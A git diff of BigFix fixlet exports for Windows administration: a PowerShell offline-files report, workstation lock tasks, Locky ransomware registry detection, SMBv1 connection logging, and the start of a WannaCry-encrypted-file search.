+      <Value>Fri, 26 Oct 2012 21:05:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp; </PreLink>
+        <Link>here </Link>
+        <PostLink>&amp;nbsp;to search for offline folders/files. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;startDir&quot; with description &quot;Specify the root folder path you want to scan recursively through:&quot; and with default value &quot;c:\users&quot;
+//============================================================================
+//PowerShell Script...
+//
+//1. Save old ExecutionPolicy value
+parameter &quot;PolicyExisted&quot;=&quot;{exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry)}&quot;
+parameter &quot;oldExecutionPolicy&quot;=&quot;{if (parameter &quot;PolicyExisted&quot; as boolean) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot;}&quot;
+//2. set to ExecutionPolicy=Unrestricted  and Pull PowerShell exe from registry... if 64bit then pull PowerShell x64
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+else
+	//we need to determine what the current execution policy is so we can put it back when we&apos;re done.
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry}&quot;
+endif
+//3. Create PowerShell script and save to a ps1 file
+delete __appendfile
+delete script.ps1
+appendfile Get-ChildItem &quot;{parameter &quot;startDir&quot;}&quot; -recurse | Where-Object {$_.Attributes -eq &apos;offline&apos;} | Export-Csv &quot;{pathname of parent folder of client}\OfflineFiles.csv&quot;
+move __appendfile script.ps1
+//4. Execute PowerShell with ps1 script file
+action uses wow64 redirection false
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -file &quot;{pathname of client folder of current site}\script.ps1&quot;
+action uses wow64 redirection {x64 of operating system}
+//5. Restore ExecutionPolicy back
+if {x64 of operating system}
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+else
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+endif
+//============================================================================</ActionScript>
+    </DefaultAction>
+    <Action ID="Action881">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn about Ben Shorehill&apos;s research into the powershell command we&apos;re using.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.symantec.com/connect/downloads/csv-report-all-offline-files-powershell</ActionScript>
+    </Action>
+    <Action ID="Action882">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn about Microsoft&apos;s Offline Files features.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://windows.microsoft.com/en-US/windows-vista/Understanding-offline-files</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes b/Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes
index 204b298b8..a05a275d6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Lock Screen - Windows
-  ID       : 23995
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-04-05T11:59:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Lock Screen - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists (current users;logged on users)</Relevance>
-    <Relevance>not exists processes &quot;LogonUI.exe&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-11-05</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 05 Nov 2015 19:36:31 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-override wait
-runas=currentuser
-wait rundll32.exe user32.dll,LockWorkStation
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Lock Screen - Windows
+  ID       : 23995
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-04-05T11:59:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Lock Screen - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (current users;logged on users)</Relevance>
+    <Relevance>not exists processes &quot;LogonUI.exe&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-11-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 05 Nov 2015 19:36:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+override wait
+runas=currentuser
+wait rundll32.exe user32.dll,LockWorkStation
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes b/Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes
index 820241b89..2eba72153 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes	
@@ -1,66 +1,66 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Lock computer multiple options
-  ID       : 26856
-  Author   : shlomi
-  Domain   : BESC
-  Imported : 2021-06-10T00:37:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Lock computer multiple options</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2021-06-09</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 10 Jun 2021 07:30:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to lock the computer for 24 hours</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for 24 hours
-
-action lock until &quot;{now + (24 * hour)}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot;</ActionScript>
-    </DefaultAction>
-    <Action ID="Action28137">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to to lock the computer for&amp;nbsp;7 days</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for 7 days
-
-action lock until &quot;{now + (7 * day)}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot;</ActionScript>
-    </Action>
-    <Action ID="Action28138">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to to lock the computer for custom&amp;nbsp; time (in hours)</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for custom hours
-action parameter query &quot;_hours_lock&quot; with description &quot;Lock the system for this many hours [hh]&quot;
-
-action lock until &quot;{now + (parameter &quot;_hours_lock&quot; as integer) * hour}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot; for client</ActionScript>
-    </Action>
-    <Action ID="Action28139">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to lock the computer indefinitely </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer indefinitely
-action lock indefinite &quot;{parameter &quot;action issue date&quot; of action}&quot;
-continue if { lock string of action lock state = &quot;Yes&quot; }</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Lock computer multiple options
+  ID       : 26856
+  Author   : shlomi
+  Domain   : BESC
+  Imported : 2021-06-10T00:37:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Lock computer multiple options</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-06-09</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Jun 2021 07:30:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to lock the computer for 24 hours</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for 24 hours
+
+action lock until &quot;{now + (24 * hour)}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28137">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to to lock the computer for&amp;nbsp;7 days</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for 7 days
+
+action lock until &quot;{now + (7 * day)}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot;</ActionScript>
+    </Action>
+    <Action ID="Action28138">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to to lock the computer for custom&amp;nbsp; time (in hours)</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for custom hours
+action parameter query &quot;_hours_lock&quot; with description &quot;Lock the system for this many hours [hh]&quot;
+
+action lock until &quot;{now + (parameter &quot;_hours_lock&quot; as integer) * hour}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot; for client</ActionScript>
+    </Action>
+    <Action ID="Action28139">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to lock the computer indefinitely </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer indefinitely
+action lock indefinite &quot;{parameter &quot;action issue date&quot; of action}&quot;
+continue if { lock string of action lock state = &quot;Yes&quot; }</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes b/Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes
index 8aee107b0..84abf470c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Locky malware detection
-  ID       : 9275
-  Author   : jgo
-  Domain   : BESC
-  Imported : 2016-03-11T17:42:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Locky malware detection</Title>
-    <Description><![CDATA[<P>This fixlet is for the detection of the locky malware on Windows machines. For more information about locky, click on the links below. </P>
-<P><STRONG>NOTE: detection for logged in user.</STRONG></P>
-<P>Vendor KB on locky - <A href="https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26383/en_US/McAfee_Labs_Threat_Advisory-Ransomware-Locky.pdf">here</A></P>
-<P>Blog on Locky - <A href="https://nakedsecurity.sophos.com/2016/02/17/locky-ransomware-what-you-need-to-know/">here.</A></P>
-<P>&nbsp;Ransomware called Locky spreads via a malicious macro in a Word document. The malware demands a ransom of half a Bitcoin for the key to unlock the encrypted files. Locky has infected machines in Europe, Russia, Pakistan, Mali, and the US. <BR>-<A href="http://www.theregister.co.uk/2016/02/17/locky_ransomware/"><FONT color=#000080>http://www.theregister.co.uk/2016/02/17/locky_ransomware/</FONT></A><BR>-<A href="http://www.computerworld.com/article/3033941/security/locky-ransomware-which-infects-like-dridex-hits-the-unlucky.html"><FONT color=#000080>http://www.computerworld.com/article/3033941/security/locky-ransomware-which-inf<BR>ects-like-dridex-hits-the-unlucky.html</FONT></A><BR>-<A href="http://arstechnica.com/security/2016/02/locky-crypto-ransomware-rides-in-on-malicious-word-document-macro/"><FONT color=#000080>http://arstechnica.com/security/2016/02/locky-crypto-ransomware-rides-in-on-mali<BR>cious-word-document-macro/</FONT></A><BR>-<A href="http://www.darkreading.com/vulnerabilities---threats/advanced-threats/here-comes-locky-a-brand-new-ransomware-threat/d/d-id/1324371?"><FONT color=#000080>http://www.darkreading.com/vulnerabilities---threats/advanced-threats/here-comes<BR>-locky-a-brand-new-ransomware-threat/d/d-id/1324371?</FONT></A></P>
-<P>note: this fixlet is not tested against locky or&nbsp;variants. mileage may vary. </P>]]></Description>
-    <Relevance>name of operating system contains &quot;Win&quot;</Relevance>
-    <Relevance><![CDATA[exists key  ((user key of current user as string) & "\Software\Locky") of registry or exists value whose (name of it as lowercase = "locky")  of key ((user key of current user as string) & "\Software\Microsoft\Windows\CurrentVersion\Run") of registry]]></Relevance>
-    <Category>Malware Detection</Category>
-    <Source>BigFix.me</Source>
-    <SourceReleaseDate>2016-03-11</SourceReleaseDate>
-    <CVENames>CVE-2016-1716</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 12 Mar 2016 00:42:14 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action9999">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Locky malware detection
+  ID       : 9275
+  Author   : jgo
+  Domain   : BESC
+  Imported : 2016-03-11T17:42:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Locky malware detection</Title>
+    <Description><![CDATA[<P>This fixlet is for the detection of the locky malware on Windows machines. For more information about locky, click on the links below. </P>
+<P><STRONG>NOTE: detection for logged in user.</STRONG></P>
+<P>Vendor KB on locky - <A href="https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26383/en_US/McAfee_Labs_Threat_Advisory-Ransomware-Locky.pdf">here</A></P>
+<P>Blog on Locky - <A href="https://nakedsecurity.sophos.com/2016/02/17/locky-ransomware-what-you-need-to-know/">here.</A></P>
+<P>&nbsp;Ransomware called Locky spreads via a malicious macro in a Word document. The malware demands a ransom of half a Bitcoin for the key to unlock the encrypted files. Locky has infected machines in Europe, Russia, Pakistan, Mali, and the US. <BR>-<A href="http://www.theregister.co.uk/2016/02/17/locky_ransomware/"><FONT color=#000080>http://www.theregister.co.uk/2016/02/17/locky_ransomware/</FONT></A><BR>-<A href="http://www.computerworld.com/article/3033941/security/locky-ransomware-which-infects-like-dridex-hits-the-unlucky.html"><FONT color=#000080>http://www.computerworld.com/article/3033941/security/locky-ransomware-which-inf<BR>ects-like-dridex-hits-the-unlucky.html</FONT></A><BR>-<A href="http://arstechnica.com/security/2016/02/locky-crypto-ransomware-rides-in-on-malicious-word-document-macro/"><FONT color=#000080>http://arstechnica.com/security/2016/02/locky-crypto-ransomware-rides-in-on-mali<BR>cious-word-document-macro/</FONT></A><BR>-<A href="http://www.darkreading.com/vulnerabilities---threats/advanced-threats/here-comes-locky-a-brand-new-ransomware-threat/d/d-id/1324371?"><FONT color=#000080>http://www.darkreading.com/vulnerabilities---threats/advanced-threats/here-comes<BR>-locky-a-brand-new-ransomware-threat/d/d-id/1324371?</FONT></A></P>
+<P>note: this fixlet is not tested against locky or&nbsp;variants. mileage may vary. </P>]]></Description>
+    <Relevance>name of operating system contains &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[exists key  ((user key of current user as string) & "\Software\Locky") of registry or exists value whose (name of it as lowercase = "locky")  of key ((user key of current user as string) & "\Software\Microsoft\Windows\CurrentVersion\Run") of registry]]></Relevance>
+    <Category>Malware Detection</Category>
+    <Source>BigFix.me</Source>
+    <SourceReleaseDate>2016-03-11</SourceReleaseDate>
+    <CVENames>CVE-2016-1716</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 00:42:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action9999">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes b/Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes
index 6172bc379..98c3932d9 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Log Unique SMBv1 Connection Server Names - Windows
-  ID       : 23554
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-02-24T11:23:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Log Unique SMBv1 Connection Server Names - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists items 0 of (it, (set of unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients) | (set of "") ) whose(item 0 of it is not contained by item 1 of it) of (unique values of (it as trimmed string as lowercase) of string values of properties "ServerName" of select objects "Dialect,ServerName from MSFT_SmbConnection" whose ((string value of property "dialect" of it) as version < "2.0") of wmis "Root\Microsoft\Windows\SMB")]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 21 Feb 2017 19:43:50 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-// TODO: test added timeout: https://forum.bigfix.com/t/running-a-command-with-a-timeout/15467/26
-// - Get Results:  unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients
-
-// log SMBv1 connections to a file
-runhidden CMD /C (for %i in ({ concatenations " " of items 0 of (it, (set of unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients) | (set of "") ) whose(item 0 of it is not contained by item 1 of it) of (unique values of (it as trimmed string as lowercase) of string values of properties "ServerName" of select objects "Dialect,ServerName from MSFT_SmbConnection" whose ((string value of property "dialect" of it) as version < "2.0") of wmis "Root\Microsoft\Windows\SMB") }) do @echo %~i >> "{ pathnames of folders "Logs" of folders "__Global" of data folders of clients }\results_SMBv1_ServerNames.log")
-
-// The following is to provide timeout functionality in case CMD hangs
-pause while { now < (active start time of active action + 5 * minute) AND exists items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
-
-if {exists items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
-	parameter "KillingItDueToTimeout"="True"
-	waithidden Taskkill /T /F { ("/PID " & it) of concatenations " /PID " of (it as string) of pids of items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
-else
-	parameter "KillingItDueToTimeout"="False"
-endif
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Log Unique SMBv1 Connection Server Names - Windows
+  ID       : 23554
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-02-24T11:23:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Log Unique SMBv1 Connection Server Names - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists items 0 of (it, (set of unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients) | (set of "") ) whose(item 0 of it is not contained by item 1 of it) of (unique values of (it as trimmed string as lowercase) of string values of properties "ServerName" of select objects "Dialect,ServerName from MSFT_SmbConnection" whose ((string value of property "dialect" of it) as version < "2.0") of wmis "Root\Microsoft\Windows\SMB")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 21 Feb 2017 19:43:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// TODO: test added timeout: https://forum.bigfix.com/t/running-a-command-with-a-timeout/15467/26
+// - Get Results:  unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients
+
+// log SMBv1 connections to a file
+runhidden CMD /C (for %i in ({ concatenations " " of items 0 of (it, (set of unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients) | (set of "") ) whose(item 0 of it is not contained by item 1 of it) of (unique values of (it as trimmed string as lowercase) of string values of properties "ServerName" of select objects "Dialect,ServerName from MSFT_SmbConnection" whose ((string value of property "dialect" of it) as version < "2.0") of wmis "Root\Microsoft\Windows\SMB") }) do @echo %~i >> "{ pathnames of folders "Logs" of folders "__Global" of data folders of clients }\results_SMBv1_ServerNames.log")
+
+// The following is to provide timeout functionality in case CMD hangs
+pause while { now < (active start time of active action + 5 * minute) AND exists items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
+
+if {exists items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
+	parameter "KillingItDueToTimeout"="True"
+	waithidden Taskkill /T /F { ("/PID " & it) of concatenations " /PID " of (it as string) of pids of items 3 of (pid of it, (active start time of active action | ( if (exists properties whose(it as string starts with "creation time of <process>")) then creation time of it else start time of it ) of it), set of ("BESClientUI.exe";"BESClientUI"), processes ) whose( creation time of item 3 of it > item 1 of it AND name of item 3 of it is not contained by item 2 of it AND item 0 of it = ppid of item 3 of it) of (processes "BESClient.exe" ; processes "BESClient") }
+else
+	parameter "KillingItDueToTimeout"="False"
+endif
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes b/Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes
index b8b457101..120470d79 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Look for Wanna Cry encrypted files on the C: drive - v1.1
-  ID       : 24312
-  Author   : jasoncordell
-  Domain   : BESC
-  Imported : 2017-05-15T06:19:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Look for Wanna Cry encrypted files on the C: drive - v1.1</Title>
-    <Description><![CDATA[<P>Seach for any files with .wncry extenstions that exist on the C: drive.&nbsp; Old school batch file, so if there are a ton of files, this will take a while and can possibly have a noticable performance impact when it runs.</P>
